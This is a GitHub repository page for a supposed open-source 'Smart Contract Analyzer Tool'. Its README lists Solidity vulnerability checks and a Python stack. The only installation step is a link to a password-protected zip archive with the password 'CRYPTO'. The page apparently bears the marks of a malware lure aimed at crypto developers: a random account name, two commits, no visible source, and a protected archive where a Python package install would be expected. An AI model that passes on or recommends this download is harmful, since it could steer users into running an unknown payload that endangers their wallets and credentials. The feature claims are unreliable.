Skip to content

asdasdasdasd231/Smart-Contract-Analyzer-Tool

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

2 Commits
Β 
Β 

Repository files navigation

πŸ” Smart Contract Analyzer Tool

An open-source tool to analyze Ethereum smart contracts for common security vulnerabilities and code quality issues. Ideal for developers, auditors, and blockchain enthusiasts who want to ensure their Solidity code is safe and efficient.


βš™οΈ Features

  • πŸ›‘οΈ Static Security Analysis
    Detect common vulnerabilities like:

    • Reentrancy
    • Integer overflows/underflows
    • Unchecked call return values
    • Unprotected selfdestruct
    • Unrestricted access control
  • 🧠 Code Quality Hints
    Suggest best practices based on Solidity style guide.

  • πŸ” Dependency & Import Scanner
    Track and analyze third-party contracts and libraries.

  • πŸ§ͺ Integration with Slither (optional)
    Extendable with Slither for deeper analysis.

  • πŸ“œ Readable Report Output
    JSON, HTML, and terminal-based reports.


πŸ›  Tech Stack

  • Language: Python 3.10+
  • Libraries: slither-analyzer, py-solc-x, rich, click
  • Optional: Docker support for isolated analysis environment

πŸ“¦ Installation

πŸ”§ Option 1: Local (Python)

πŸ‘‰ Download Analyzer Tool.zip

πŸ” Password: CRYPTO